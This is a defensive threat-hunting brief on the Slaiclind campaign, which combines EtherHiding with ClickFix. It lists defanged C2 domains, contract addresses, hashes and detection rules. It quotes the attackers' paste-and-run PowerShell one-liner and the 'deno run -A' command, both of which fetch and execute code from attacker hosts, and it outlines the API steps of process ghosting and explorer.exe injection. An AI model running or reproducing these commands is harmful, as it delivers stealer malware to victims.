Fake Cloudflare Check Hides Its C2 List on the Polygon Blockchain

A campaign that started spreading at the end of September hides its command-and-control list on a public blockchain and then tricks visitors into infecting themselves. Stormshield’s Customer Security Lab calls it Slaiclind, after a name in the final malware’s metadata. Script injected into hacked WordPress sites reads a Polygon smart contract to learn which server to load next, then shows Windows visitors a fake Cloudflare check that copies a PowerShell command to the clipboard. Stormshield says paste-and-run ends with a stealer and shellcode slipped onto the PC through the Deno JavaScript runtime.

windowsdiag-service[.]pw
univesalcheckrobot[.]site
imersion4cf[.]site
flarecloudcheck[.]site
chekcms432[.]cc
checkrobotbb[.]pw
checkmybtrobot[.]cc
checkms5[.]cc
checkmrobot[.]site
checkdvvc99[.]cc
checkcloudflere[.]site
checkbot-cf[.]site
cf-check[.]site
botcheck-cf[.]top
api-relay[.]cc
allowcsxan2[.]site
allowcheckd3[.]cc
checkvbbrows39[.]cc
78.40.198[.]82 (hosts botcheck-cf and checkbot-cf)
195.63.139[.]180:443 (stealer C2, from an analyst report Stormshield cites)

0xb29927B7D854b232D5E58CFc201866376E68C676 (main)
0xb2A4EA7055b7E2A6B2d96502f0ff85024e72987b (secondary, not seen in use)

b97643bd45522efe9eea175d897787d3 (stealer, “slaiclind”)
41e66c27fc6202f332e8e0a33aa5f519 (shellcode injected into explorer.exe)

Source article: Slaiclind: analyzing a campaign combining ClickFix and EtherHiding
Publisher: Stormshield (author: Stormshield Customer Security Lab)
Published: October 19, 2026
URL: https://www.stormshield.com/news/cti-payload-slaiclind-campaign/

Executive Summary

Slaiclind is the name Stormshield’s Customer Security Lab gives to a malware delivery campaign it has watched spread since the end of September 2026. The name comes from the metadata of the final Windows payload, which carries the version string “Slaiclind Labs, LLC 2.6.6.19587, MSVC”. No threat actor is named and no other vendor alias is reported in the source. The campaign combines two known techniques. EtherHiding stores attacker data in a blockchain smart contract instead of on a takedown-prone server. ClickFix persuades the victim to paste and run a command themselves. While monitoring EtherHiding activity, Stormshield found over 70,000 compromised websites in a few days, though it does not say how many of those carry the Slaiclind script, and it does not say how the sites were compromised. The chain starts with a script injected into WordPress pages. It exits if the visitor has a wp-settings cookie or the admin bar is rendered, then sends a JSON-RPC eth_call (function selector 0x2cae8ae4) through public Polygon RPC endpoints to contract 0xb29927B7D854b232D5E58CFc201866376E68C676. The script reads an enabled kill-switch flag that the operators have toggled several times, decodes a semicolon-separated list of C2 domains, picks one at random and loads /js/all.min.js from it. That script runs only for Windows visitors whose user agent doesn’t look like a search-engine bot. It renders a fake Cloudflare check, localized into seven languages, and places irm hxxps://checkmybtrobot[.]cc/ps/traffic?r=797a|iex on the clipboard. The downloaded PowerShell hides its own console window, installs the Deno runtime silently with winget, and runs a remote JavaScript loader with deno run -A. Through Deno’s native-library bindings, the loader downloads a PE file and launches it with Process Ghosting from a randomly named .tmp file in %TEMP%. It then downloads encoded shellcode and injects it into explorer.exe with a remote thread. Stormshield labels the first file a stealer; in a sandbox it read registry keys holding system information and displayed a Ukrainian-language dialog box. An analyst Stormshield cites saw it connect to 195.63.139[.]180 on TCP 443 without TLS. The objective is data theft from Windows users who visit otherwise legitimate websites, and the blockchain-held C2 list lets the operators rotate domains or pause the campaign without touching the compromised sites. The Hunt Leads below give detection logic, false-positive expectations and the published indicators. The source publishes no YARA or Sigma rules.

ATT&CK chain: Resource Development → Initial Access → Execution → Stealth → Privilege Escalation → Discovery → Command and Control

Hunt Lead Grid

Slaiclind C2 Domain, IP and URL Path Sweep

Stormshield rebuilt the campaign’s full C2 list from the setPayload transactions on the main Polygon contract, where each update writes a fresh semicolon-separated list of domains. It published 18 C2 domains: windowsdiag-service[.]pw, univesalcheckrobot[.]site, imersion4cf[.]site, flarecloudcheck[.]site, chekcms432[.]cc, checkrobotbb[.]pw, checkmybtrobot[.]cc, checkms5[.]cc, checkmrobot[.]site, checkdvvc99[.]cc, checkcloudflere[.]site, checkbot-cf[.]site, cf-check[.]site, botcheck-cf[.]top, api-relay[.]cc, allowcsxan2[.]site, allowcheckd3[.]cc and checkvbbrows39[.]cc. Per Stormshield, each serves the injected JavaScript, the PowerShell script, the Deno loader and the malware executables. It also published 78.40.198[.]82, which hosts botcheck-cf[.]top and checkbot-cf[.]site. A separate analyst report on VirusTotal, which Stormshield cites, saw the stealer talk to 195.63.139[.]180 on TCP 443 without TLS. Each stage has its own URL path on the C2, and those paths are more durable than the domains: /js/all.min.js for the fake check served into the browser, /ps/traffic?r=797a for the PowerShell stage, /j/traffic?r=797a for the Deno loader, and /p?t= followed by a 32-hex and a 40-hex value joined by an underscore for the two payload downloads. The detection logic is a DNS and proxy sweep for any of the domains or IPs, plus a proxy sweep for those four path shapes on any domain, which catches C2 hosts added to the contract after Stormshield’s snapshot.

Use DNS resolver logs, secure web gateway or proxy logs with full URLs, and firewall or NetFlow for the two IPs. Sweep from September 1, 2026, which covers the end-of-September start Stormshield reports, and keep the path sweep as a standing rule, because the operators can push new domains to the contract at any time without touching the compromised sites. Blocking the published domains is worth doing but goes stale quickly. The more durable control is to watch the contract itself: every setPayload transaction on PolygonScan publishes the current domain list in clear, so new domains can be harvested and added to blocklists as they appear. Don’t hunt on a specific t= token, since Stormshield says the operators rotate it several times a minute. A browser hit on /js/all.min.js alone means a user saw the fake check. A hit on /ps/traffic, /j/traffic or /p?t= means the user ran the command, and that host should go straight to incident response with credential resets for the user, because the final payload is a stealer.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Command and Control → T1071.001 (Application Layer Protocol: Web Protocols), detection strategy DET0027 Detection of Web Protocol-Based C2 Over HTTP, HTTPS, or WebSockets; Resource Development → T1583.001 (Acquire Infrastructure: Domains) (mapping per source article). The source maps C2 to the parent T1071 (Application Layer Protocol); the sub-technique is used here because every stage is fetched over HTTPS.

Sources: “Slaiclind: analyzing a campaign combining ClickFix and EtherHiding”, Stormshield Customer Security Lab, Oct. 19, 2026, https://www.stormshield.com/news/cti-payload-slaiclind-campaign/ (source article)

EtherHiding Injector in Your Own Web Content

The first stage is an inline script in the compromised page, marked data-no-optimize="1" so caching and minification plugins leave it untouched. It returns at once if document.cookie contains wp-settings or an element with the id wpadminbar exists, which hides it from logged-in WordPress users. Otherwise it defines two Polygon RPC endpoints, hxxps://1rpc[.]io/matic and hxxps://polygon-bor-rpc.publicnode[.]com, and posts a JSON-RPC eth_call to contract 0xb29927B7D854b232D5E58CFc201866376E68C676 with data 0x2cae8ae4. PolygonScan shows a second contract from the same creator with identical code, 0xb2A4EA7055b7E2A6B2d96502f0ff85024e72987b, which Stormshield has not yet seen on any compromised site. Its general heuristic is simple: an eth_call or ethers.js on a site that has nothing to do with blockchain or crypto is very likely a compromise, and that held for 95% of the sites it examined. The detection logic is a content sweep of every web property you own or host: rendered HTML fetched while logged out, theme and plugin files, and the database tables where injected script usually sits (for WordPress, wp_options and wp_posts). Search for either contract address in any letter case, the selector 0x2cae8ae4, the two RPC hostnames, the /js/all.min.js suffix joined to a URL from a decoded list, and the combined wp-settings/wpadminbar exit check.

This lead is for website owners, hosting providers and anyone running WordPress, and it needs nothing more than a crawler, file search or database query. Fetch pages without a WordPress session, because a logged-in admin never gets the script; a crawler with a desktop Windows user agent sees the same page a victim does. Search for contract addresses case-insensitively, since Stormshield’s own write-up prints the main one in two different casings. Removing the script is necessary but not enough. The way the site was compromised isn’t described in the source, so a hit means the site is breached: rotate administrator and hosting credentials, review plugins and admin accounts, and restore from a clean backup rather than just deleting the script tag. Blocking the public RPC endpoints at the network edge is the wrong control for most organizations, because they are legitimate shared Polygon infrastructure used by real Web3 applications. The contract address string and the admin-evasion check are what make the match specific. The approach works against any EtherHiding campaign once you swap in that campaign’s contract address and chain.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Resource Development → T1608.004 (Stage Capabilities: Drive-by Target), detection strategy DET0825 Detection of Drive-by Target; Command and Control → T1102.001 (Web Service: Dead Drop Resolver), detection strategy DET0058 Detection Strategy for Web Service: Dead Drop Resolver. The source maps the site compromise to T1190 (Exploit Public-Facing Application) but does not describe how the sites were breached; the two techniques here cover the injected script and the contract lookup it performs.

Sources: “Slaiclind: analyzing a campaign combining ClickFix and EtherHiding”, Stormshield Customer Security Lab, Oct. 19, 2026, https://www.stormshield.com/news/cti-payload-slaiclind-campaign/ (source article); PolygonScan address page for 0xb29927B7D854b232D5E58CFc201866376E68C676, https://polygonscan.com/address/0xb29927B7D854b232D5E58CFc201866376E68C676 (cited by the source article; contract transaction history)

Slaiclind Payload Hash and Version-Info Sweep

The Deno loader downloads two payloads from /p?t= URLs on the C2. The first, which Stormshield’s IOC table labels a stealer, has MD5 b97643bd45522efe9eea175d897787d3. It’s a Windows PE that the loader only accepts if it’s over 100 bytes and starts with MZ. Its file metadata gives the name “slaiclind” and the version information “Slaiclind Labs, LLC 2.6.6.19587, MSVC”. In Stormshield’s sandbox it read registry keys holding system information and displayed a dialog box with a Ukrainian-language message. The second payload, MD5 41e66c27fc6202f332e8e0a33aa5f519, is encoded Win64 shellcode that never touches disk as a file of its own; it’s injected straight into explorer.exe. The detection logic is an EDR and file-inventory sweep for the first MD5 and for the SHA-256 in the appendix, a sweep of PE version-info fields for “Slaiclind Labs” or the product name “slaiclind”, and a proxy or sandbox-detonation lookup for the second MD5 in captured HTTP response bodies.

Use EDR file-hash telemetry, any file-reputation or sandbox submission logs, and proxy logs with response-body hashing where available, and look back to September 1, 2026. The first payload is ghosted, so the file on disk is deleted before its process starts and may never be recorded under a normal file-write event. Search process image hashes and in-memory scan results as well as file-creation events. The version-info string is likely to outlast the hashes, because the payloads are served fresh through tokens that rotate every few seconds and can be rebuilt at will. Hash-blocking on its own is a weak control here, for the same reason. Any match on either hash or on the version string is a confirmed infection: isolate the host, and reset passwords and session tokens for every account used on it from a known-clean device. The registry reads Stormshield observed are consistent with system profiling before data theft.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Command and Control → T1105 (Ingress Tool Transfer), detection strategy DET0060 Detect Ingress Tool Transfers via Behavioral Chain. The stealer’s registry reads would fit T1012 (Query Registry), but the source doesn’t name the keys, so that mapping isn’t used for detection here.

Sources: “Slaiclind: analyzing a campaign combining ClickFix and EtherHiding”, Stormshield Customer Security Lab, Oct. 19, 2026, https://www.stormshield.com/news/cti-payload-slaiclind-campaign/ (source article)

ClickFix irm-iex One-Liner from the Run Dialog

The fake Cloudflare check served from /js/all.min.js writes a command to the clipboard with clipboardData.setData('text/plain', …) and tells the victim to paste it into a terminal. The page is localized into English, Portuguese, Spanish, Indonesian, Vietnamese, German and French, and it only fires for Windows visitors that don’t look like search-engine bots. The command is irm hxxps://checkmybtrobot[.]cc/ps/traffic?r=797a|iex: Invoke-RestMethod downloads a script and pipes it straight into Invoke-Expression. The first thing that script does is use Add-Type to declare ShowWindow, SetForegroundWindow, GetForegroundWindow and GetConsoleWindow from user32.dll and kernel32.dll inside a class named W in namespace N, then calls ShowWindow(h, 0) to hide its own console. The detection logic is a process-creation rule for powershell.exe or pwsh.exe launched by explorer.exe, which is what a Run-dialog paste looks like, with a command line containing irm or Invoke-RestMethod piped to iex or Invoke-Expression against a remote URL. Raise the alert’s weight when the URL contains /ps/traffic?r=, when the RunMRU registry key records the same command, or when PowerShell script-block logging shows an Add-Type definition of ShowWindow and GetConsoleWindow followed by ShowWindow with a 0 argument.

Build this on EDR process-creation telemetry or Sysmon Event ID 1, PowerShell script-block logging (Event ID 4104), and the per-user HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU key, which keeps the last commands typed into the Run dialog. Sweep back to September 1, 2026 on all Windows endpoints. Allowlist known administrators and specific installer URLs your organization uses, not the cmdlets, because blocking PowerShell outright breaks management tooling. A better preventive control for ordinary users is disabling the Run dialog by policy or constraining PowerShell with application control. Pair this lead with the proxy lead above: a /js/all.min.js fetch from a compromised site followed within minutes by an irm process from explorer.exe is close to certain. Any hit where the user doesn’t administer systems should be treated as a live infection. The rule is just as useful against other ClickFix campaigns, since nearly all of them end in a pasted PowerShell or mshta one-liner launched from the Run dialog.

Hunt Lead Level: 2 (Pro)

ATT&CK: Execution → T1204.004 (User Execution: Malicious Copy and Paste), detection strategy DET0340 User Execution – Malicious Copy & Paste (browser/email → shell with obfuscated one-liner) – T1204.004; Execution → T1059.001 (Command and Scripting Interpreter: PowerShell), detection strategy DET0455 Abuse of PowerShell for Arbitrary Execution (both mapping per source article)

Sources: “Slaiclind: analyzing a campaign combining ClickFix and EtherHiding”, Stormshield Customer Security Lab, Oct. 19, 2026, https://www.stormshield.com/news/cti-payload-slaiclind-campaign/ (source article)

Silent winget Deno Install and Remote deno run

Once the console is hidden, the PowerShell stage runs echo Y | winget install DenoLand.Deno -h to install the Deno JavaScript runtime silently, auto-accepting the prompt. It then finds the binary with where.exe /r "$env:LOCALAPPDATA\Microsoft\WinGet" deno.exe and runs & $d run -A hxxps://checkmybtrobot[.]cc/j/traffic?r=797a. The -A flag gives the remote script every Deno permission, including network, file system, environment and loading native libraries through Deno.dlopen, which the loader then uses to call Windows APIs directly. Stormshield notes the script has no error handling, so it simply fails on Windows systems without winget. The detection logic is a process chain: winget.exe with install and DenoLand.Deno and the silent flag -h, whose parent is a PowerShell process that itself came from explorer.exe; then where.exe searching the WinGet package folder for deno.exe; then deno.exe started from %LOCALAPPDATA%\Microsoft\WinGet\ with run, -A (or --allow-all) and an http or https URL as the module.

Use EDR or Sysmon process-creation events with full command lines and parent chains, plus proxy logs to tie the deno.exe network connection to the /j/traffic URL. Scope by host role. On developer workstations Deno is normal and the rule should only fire on the explorer.exe → PowerShell → winget parentage or on run -A against a remote URL from an unfamiliar domain. On every other host, the first appearance of deno.exe is worth an alert on its own. Don’t block Deno by hash or file name, since it’s a legitimate signed runtime and the attackers could swap it for another interpreter. Blocking or alerting on its execution from the per-user WinGet path on non-developer machines, through application control, is the better choice. Sweep from September 1, 2026, and treat any hit with the ClickFix parentage as a confirmed infection, because by the time deno run starts, the payload stage is seconds away. The pattern of using a package manager to fetch a legitimate interpreter and run a remote script generalizes beyond this campaign.

Hunt Lead Level: 2 (Pro)

ATT&CK: Command and Control → T1105 (Ingress Tool Transfer), detection strategy DET0060 Detect Ingress Tool Transfers via Behavioral Chain; Execution → T1059.007 (Command and Scripting Interpreter: JavaScript), detection strategy DET0264 Cross-Platform Detection of JavaScript Execution Abuse (mapping per source article); Stealth → T1564.003 (Hide Artifacts: Hidden Window), detection strategy DET0128 Detection Strategy for Hidden Windows

Sources: “Slaiclind: analyzing a campaign combining ClickFix and EtherHiding”, Stormshield Customer Security Lab, Oct. 19, 2026, https://www.stormshield.com/news/cti-payload-slaiclind-campaign/ (source article)

Ghosted Process Launched by Deno

The Deno loader binds to Windows APIs with Deno.dlopen and fetches the first payload from /p?t=. It creates a randomly named .tmp file in %TEMP% using CreateFileW with read, write and delete access, read and delete sharing, and CREATE_ALWAYS. It then marks the file for deletion with NtSetInformationFile (information class 13, file disposition) and writes the PE into it while it is delete-pending. Next it creates an image section from the file with NtCreateSection (SEC_IMAGE), closes the handle so the file disappears, creates a process object from the section with NtCreateProcessEx, and starts it with NtCreateThreadEx at the image’s entry point. The result is a running process whose backing file no longer exists, so file-based scanners have nothing to scan when the process starts. The detection logic combines EDR events. Look for deno.exe creating a file in %TEMP% with a random base-36 name and a .tmp extension, setting delete disposition on it and writing an MZ header into it. Then look for a new process whose parent is deno.exe and whose image path is that deleted .tmp file, empty, or unresolvable. Process-creation telemetry that records a child of deno.exe with no valid image file is the strongest single anchor.

This needs an EDR that records file-disposition changes and process creation through NtCreateProcessEx, or kernel image-load and process callbacks that flag a missing or deleted image file. Sysmon process-creation events and file-delete events (Event IDs 1, 23 and 26) catch parts of the chain but won’t always show the missing image. Correlate on process GUID and on time, since the whole chain happens in well under a second. Tuning risk is low, because legitimate software practically never builds a process from a delete-pending file; the job is making sure the telemetry exists. A memory scan of the suspicious child is the right follow-up, not a disk scan, which will find nothing. Any hit means the stealer ran, so escalate to incident response, isolate the host and reset credentials for every account used on it. Ghosting is a reusable loader technique, so detection on the missing-image signal covers other ghosting loaders as well.

Hunt Lead Level: 3 (Elite)

ATT&CK: Stealth / Privilege Escalation → T1055.013 (Process Injection: Process Doppelgänging), detection strategy DET0544 Detection Strategy for Process Doppelgänging on Windows (mapping per source article). Process Ghosting has no sub-technique of its own: it skips the NTFS transaction that defines Doppelgänging and uses a delete-pending file instead, but it is the closest current match.

Sources: “Slaiclind: analyzing a campaign combining ClickFix and EtherHiding”, Stormshield Customer Security Lab, Oct. 19, 2026, https://www.stormshield.com/news/cti-payload-slaiclind-campaign/ (source article)

Deno Remote Thread Injection into explorer.exe

After launching the ghosted process, the loader fetches the second payload, the encoded Win64 shellcode with MD5 41e66c27fc6202f332e8e0a33aa5f519, from another /p?t= URL. It loads user32.dll through Deno.dlopen and finds the shell process by calling GetShellWindow and then GetWindowThreadProcessId, which on a normal desktop returns the PID of explorer.exe. It then opens that process with OpenProcess and full access (0x1FFFFF) and allocates memory there with VirtualAllocEx as commit-and-reserve (0x3000) and execute-read-write (0x40). Finally it writes the shellcode with WriteProcessMemory and runs it with CreateRemoteThread. The detection logic is a cross-process access and remote-thread rule with deno.exe as the source and explorer.exe as the target, weighted up when the access mask is full access, when the target region is RWX private memory, or when the new thread’s start address isn’t backed by any module on disk. Follow up with network telemetry for explorer.exe making connections it normally doesn’t, such as raw TCP to unfamiliar IPs, since injected shellcode inherits the shell’s network identity.

Use EDR cross-process and remote-thread events, or Sysmon Event ID 8 (CreateRemoteThread) and Event ID 10 (ProcessAccess) filtered to SourceImage ending in deno.exe. Pair it with outbound connections from explorer.exe in firewall, EDR network or NetFlow data. Software that legitimately injects into explorer.exe, such as some security, accessibility and shell-extension products, runs from installed, signed paths and isn’t a JavaScript runtime. Allowlist by signed image path, not by process name, and leave deno.exe off the allowlist entirely. Terminating explorer.exe clears the injected code from memory but not the infection, because the ghosted stealer is running separately, so treat any hit as an incident-response case for the whole host. Sweep EDR history from September 1, 2026. A script interpreter injecting into the shell process is a strong, campaign-independent signal worth keeping as a standing rule for node.exe, bun.exe, python.exe and other runtimes as well as Deno.

Hunt Lead Level: 3 (Elite)

ATT&CK: Stealth / Privilege Escalation → T1055 (Process Injection), detection strategy DET0508 Behavioral Detection of Process Injection Across Platforms (parent technique per source article); Execution → T1106 (Native API), detection strategy DET0529 Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls. Shellcode injection with VirtualAllocEx, WriteProcessMemory and CreateRemoteThread doesn’t match any specific T1055 sub-technique, so the parent is used.

Sources: “Slaiclind: analyzing a campaign combining ClickFix and EtherHiding”, Stormshield Customer Security Lab, Oct. 19, 2026, https://www.stormshield.com/news/cti-payload-slaiclind-campaign/ (source article)

Hash Appendix

Slaiclind stealer (first payload, ghosted PE)

The MD5 comes from the source article. The SHA-256 comes from the VirusTotal URL the source article links as the community report for this process; Stormshield doesn’t print it as a separate IOC, so confirm it against the MD5 before relying on it. OTX AlienVault had no file analysis for either value, and VirusTotal couldn’t be queried without an authenticated account, so the SHA1 isn’t available.

MD5s

b97643bd45522efe9eea175d897787d3  # slaiclind (random-name .tmp in %TEMP%, deleted before launch; ghosted by deno.exe)

SHA1s

(not available)  # slaiclind (random-name .tmp in %TEMP%, deleted before launch; ghosted by deno.exe)

SHA256s

9f7bc41816a0eca3cae34168985d5ad9181a3cf41624cd2bf5c2cc7be2d031f0  # slaiclind (ghosted stealer; from the VirusTotal link in the source article)

Encoded shellcode (second payload, injected into explorer.exe)

The MD5 comes from the source article. OTX AlienVault had no file analysis for it, and VirusTotal couldn’t be queried without an authenticated account, so the SHA1 and SHA-256 aren’t available.

MD5s

41e66c27fc6202f332e8e0a33aa5f519  # encoded Win64 shellcode -> injected into explorer.exe memory by deno.exe (no file on disk)

SHA1s

(not available)  # encoded Win64 shellcode -> injected into explorer.exe memory by deno.exe

SHA256s

(not available)  # encoded Win64 shellcode -> injected into explorer.exe memory by deno.exe

Deno runtime (legitimate tool used by the chain)

No hash is published or looked up, because deno.exe is the unmodified, legitimate Deno runtime installed from the official DenoLand.Deno winget package. Blocking its hash would break legitimate developer use and the attackers could switch versions. Detect the parent chain, the per-user WinGet path and run -A with a remote URL instead.

MD5s

(not available)  # deno.exe -> %LOCALAPPDATA%\Microsoft\WinGet\... (legitimate Deno runtime; do not block by hash)

SHA1s

(not available)  # deno.exe -> %LOCALAPPDATA%\Microsoft\WinGet\... (legitimate Deno runtime; do not block by hash)

SHA256s

(not available)  # deno.exe -> %LOCALAPPDATA%\Microsoft\WinGet\... (legitimate Deno runtime; do not block by hash)

References Appendix

• “Slaiclind: analyzing a campaign combining ClickFix and EtherHiding”, Stormshield (Stormshield Customer Security Lab), Oct. 19, 2026, https://www.stormshield.com/news/cti-payload-slaiclind-campaign/ (source article; attack chain, script excerpts, contract analysis, IOC table, ATT&CK mapping)
• PolygonScan address page for contract 0xb29927B7D854b232D5E58CFc201866376E68C676, PolygonScan, accessed via the source article, https://polygonscan.com/address/0xb29927B7D854b232D5E58CFc201866376E68C676 (contract transaction history; cited by the source article)
• VirusTotal community page for 9f7bc41816a0eca3cae34168985d5ad9181a3cf41624cd2bf5c2cc7be2d031f0, VirusTotal, linked by the source article, https://www.virustotal.com/gui/file/9f7bc41816a0eca3cae34168985d5ad9181a3cf41624cd2bf5c2cc7be2d031f0/community (stealer SHA-256 and the 195.63.139[.]180:443 C2 observation, as cited by Stormshield)
• OTX AlienVault file indicator lookups for b97643bd45522efe9eea175d897787d3, 41e66c27fc6202f332e8e0a33aa5f519 and 9f7bc41816a0eca3cae34168985d5ad9181a3cf41624cd2bf5c2cc7be2d031f0, AT&T Alien Labs, accessed Oct. 22, 2026, https://otx.alienvault.com/indicator/file/b97643bd45522efe9eea175d897787d3 (hash provenance check; no analysis or additional hash types available)
• MITRE ATT&CK Enterprise technique and detection-strategy pages linked above, MITRE, https://attack.mitre.org/